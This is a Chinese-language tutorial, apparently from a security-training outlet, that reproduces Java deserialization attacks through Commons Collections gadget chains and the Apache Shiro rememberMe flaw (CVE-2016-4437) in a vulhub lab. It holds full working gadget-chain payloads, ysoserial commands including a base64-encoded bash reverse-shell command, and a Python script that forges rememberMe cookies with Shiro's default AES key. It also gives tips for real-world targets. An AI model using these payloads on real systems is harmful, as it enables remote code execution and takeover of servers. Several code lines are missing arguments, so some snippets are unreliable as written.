java反序列化——apache-shiro复现分析

本文首发于“合天智汇”公众号 作者：Fortheone

看了好久的文章才开始分析调试java的cc链，这个链算是java反序列化漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先了解一些java的反射机制。

一、什么是反射：

反射是Java的特征之一，是一种间接操作目标对象的机制，核心是JVM在运行的时候才动态加载类，并且对于任意一个类，都能够知道这个类的所有属性和方法，调用方法/访问属性，不需要提前在编译期知道运行的对象是谁，他允许运行中的Java程序获取类的信息，并且可以操作类或对象内部属性。程序中对象的类型一般都是在编译期就确定下来的，而当我们的程序在运行时，可能需要动态的加载一些类，这些类因为之前用不到，所以没有加载到jvm，这时，使用Java反射机制可以在运行期动态的创建对象并调用其属性，它是在运行时根据需要才加载。

我们可以在java加载了类进入jvm之后，获取到这个类的实例，并且可以调用这个类的方法，参数之类的。

看一个例子

class User{
    private String name;
    private int age;
 
    @Override
    public String toString(){
        return "User{" + "name=" +name + ", age="+age+"}";
    }
 
    public String getName() {
        return name;
    }
 
    public void setName(String name) {
        this.name = name;
    }
 
    public int getAge() {
        return age;
    }
 
    public void setAge(int age) {
        this.age = age;
    }
}

现在定义了一个类User，这个类有各种的方法和参数。我们将这个类实例化之后，再动态调用它的方法来给它赋值。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    User user = new User();
    Class clz = user.getClass();
    Method method = clz.getMethod("setName", String.class);
    Method method1 = clz.getMethod("setAge", int.class);
    method1.invoke(user,);
    method.invoke(user,"fortheone");
    System.out.println(user);
}

在主方法中实现这些反射调用方法，要抛出以上三个错误，否则会无法执行。 所以一个反射的流程就是：先通过getClass获取到类实例，再通过getMethod获取到类方法，然后再利用invoke方法传入参数进行调用。但是，在这个例子中所调用的方法都是public属性，而在一些类中可能会存在protected或是provide属性，需要用到setAccessible(true)这种方法来解除私有限定。

java序列化与反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中，ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程，ObjectInputStream 类的 readObject() 方法用于反序列化。 序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段，可以有效的实现多平台之间的通信、对象持久化存储。 要注意的是，只有实现了serializeable接口的类才可以进行序列化操作。

import java.io.*;
 
public class test1 {
 
    public static void main(String[] args){
        User user = new User("fortheone", );
        try {
            // 创建一个FIleOutputStream
            FileOutputStream fos = new FileOutputStream("./user.ser");
            // 将这个FIleOutputStream封装到ObjectOutputStream中
            ObjectOutputStream os = new ObjectOutputStream(fos);
            // 调用writeObject方法，序列化对象到文件user.ser中
            os.writeObject(user);
 
            System.out.println("读取数据：");
            //  创建一个FIleInutputStream
            FileInputStream fis = new FileInputStream("./user.ser");
            // 将FileInputStream封装到ObjectInputStream中
            ObjectInputStream oi = new ObjectInputStream(fis);
            // 调用readObject从user.ser中反序列化出对象，还需要进行一下类型转换，默认是Object类型
            User user1 = (User)oi.readObject();
 
            user1.info();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}
 
class User implements Serializable{
    private String name;
    private int age;
 
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
 
    public void info(){
        System.out.println("Name: "+name+", Age: "+age);
    }
 
    // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
    //     System.out.println("[*]执行了自定义的readObject函数");
    // }
}

这是一个序列化与反序列化的演示，其中的 FileOutputStream ObjectOutputStream 是java的流处理的转换。首先创建一个文件输出流，然后再使用过滤流来处理，可以提供缓冲写的作用。具体可以参见文章（ https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html）

那么在序列化与反序列化的过程中，会有一个问题，就是在反序列化的时候会自动执行类的readObject方法。如果我们在readObject中有恶意的操作，即可造成攻击。如下图：

三、Apache-CommonsCollections 序列化RCE漏洞分析

环境准备：首先安装idea，然后安装maven插件，使用maven直接安装 CommonsCollections。在pom.xml中加入

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>

即可安装。安装好以后记得要把项目jdk版本与本地jdk版本对应。参考文章（ https://blog.csdn.net/qq_22076345/article/details/82392236）

出现了CommonsCollections的包就说明成功了。

漏洞分析： 在InvokeTransformer类中有这两个方法

构造方法中可以传入三个参数，方法名，参数类型，参数。然后transform方法接收一个object对象。会对传入的对象进行反射调用方法。但是这样还不能执行命令，因为在java中执行命令的操作是 Runtime.getRuntime().exec(cmd)。而在这里我们一次只能传入一个方法。

但是很巧的是 ChainedTransformer 这个类中的 transform方法可以循环执行 transform方法。并且将上一次执行的结果作为下一次的参数。

这样说可能不是很清楚，举个例子来看看。

这里要求在chainedTransformer的transform方法中传入一个Runtime对象。但是这样我们没有利用到反序列化，在实际情况里也不可能给我们这样传参去调用。

从上面的步骤可以看到，整个链的起点就是 Runtime ,而我们在利用这条链的时候也没有办法通过传参去传入这个Runtime。

但是恰巧有这么一个类 ConstantTransformer 它的构造方法是直接放回传入的参数，它的transform方法也是直接返回传入的参数。那么也就是说 把Runtime.class 传入 ConstantTransformer 作为 transformers数组的起点，通过第一次transform方法，就可以得到Runtime。后面再利用循环调用transform就可以通过反射命令执行。

这样就可以通过循环调用transform方法来执行命令。现在漏洞触发的核心已经了解清楚了，接下来就是找触发漏洞的利用链。也就是如何触发chainedTransformer的transform方法呢？

接下来有两条链，一条受限于jdk版本（jdk1.7可以，8不行）

LazyMap链

在lazymap的get方法中执行了transform方法。所以只要将factory赋值为chainedTransformer。可以直接在构造方法里赋值。

所以要找到一个类可以触发LazyMap的get方法。 而在TiedMapEntry类中有一个getValue方法可以执行get方法，且map属性可控。

且TiedMapEntry类中的tostring方法可以触发getValue方法，java的tostring方法与php的__tostring方法一样，在类实例被当作字符串的时候会自动执行。

.png) 然后又找到 BadAttributeValueExpException 的readObject方法会触发tostring方法

所以只要把val属性设置为 TiedMapEntry 即可。最终payload：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
 
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.io.*;
 
public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","asdf");
 
        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        // 将lazyMap封装到TiedMapEntry中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
        // 通过反射给badAttributeValueExpException的val属性赋值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
 
    }

TransformedMap利用链

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ，该类可以在一个元素被添加/删除/或是被修改时(即key或value：集合中的数据存储形式即是一个索引对应一个值，就像身份证与人的关系那样)，会调用transform方法自动进行特定的修饰变换，具体的变换逻辑由Transformer类定义。也就是说，TransformedMap类中的数据发生改变时，可以自动对进行一些特殊的变换，比如在数据被修改时，把它改回来; 或者在数据改变时，进行一些我们提前设定好的操作。

其中的checkSetValue方法中，valueTransformer属性调用了transform方法。所以只要将valueTransformer属性设置为我们之前的chainedTransformer即可触发漏洞。

调用decorate方法可以实例化一个 TransformedMap 类，然后将其属性 keyTransformer和valueTransformer设置为我们想要的值。所以现在就是要再找一个触发checkSetValue方法的类。

在AnnotationInvocationHandler类中的readObject 中执行了setValue方法。而 setValue() 函数最终会触发 checkSetValue() 函数：

 

而memberValues来自于构造方法，所以最终的payload为：

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
 
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
public class test {
    public static void main(String[] args) throws Exception {
        //1.客户端构建攻击代码
        //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
 
        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //反射机制调用AnnotationInvocationHandler类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Retention.class, outerMap);
 
        //payload序列化写入文件，模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);
 
        //2.服务端读取文件，反序列化，模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        //服务端反序列化
        fin.readObject();
    }
    }

利用Ysoserial 生成payload

下载Ysoserial 然后执行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin 然后把payload.bin放入项目中，对其进行反序列化

漏洞环境搭建

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

直接使用docker搭建vulhub里的shiro靶场就可以了。

启动后

登录抓包

可以在响应包中看到有 rememberMe=deleteMe的字段，这是shiro的特征。

漏洞验证

1、直接使用xray给出的payload测试

在xray的config.yaml中修改proxy为burp的监听端口，这样可以获取到xray发出的流量。

这里可以抓到xray发出的请求包中的payload，其中的header中还带有Testecho，用以测试回显。可以看到响应头中出现了Testecho字样。所以判断出存在漏洞。

然后再将Testecho替换为 Testcmd 即可执行命令。

但是我这台机器在执行ifconfig命令的时候不知道为什么无法执行。

2、使用ysoserial反序列化发payload

首先要下载 ysoserial的jar包 https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

然后下载 ysoserial的源码 https://github.com/frohoff/ysoserial.git

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}"

在7878端口监听JRMP，等待服务端访问。

然后使用poc.py生成payload的cookie

i

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[])
print "rememberMe={0}".format(payload.decode())

python poc.py 监听服务器ip:端口

生成了payload之后，向服务器发送payload的cookie

 

成功获取到shell。

一些要注意的点

1、在生成payload的时候，使用的key一般是shiro1.2.4默认的key，在实际环境下可能会有其他的key。xray中自带了几个其他的key值用于遍历。

2、实际情况中默认shiro的commons-collections版本为3.2.1 而ysoserial里使用3.2.1的版本时会报错，但是可以使用JRMP。可以多尝试几个 commons-collections的版本。具体还要看环境中的依赖包。

参考文章

https://www.anquanke.com/post/id/211228

• 实验推荐

Java反序列漏洞

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001

本实验通过Apache Commons Collections 3为例，分析并复现JAVA反序列化漏洞。

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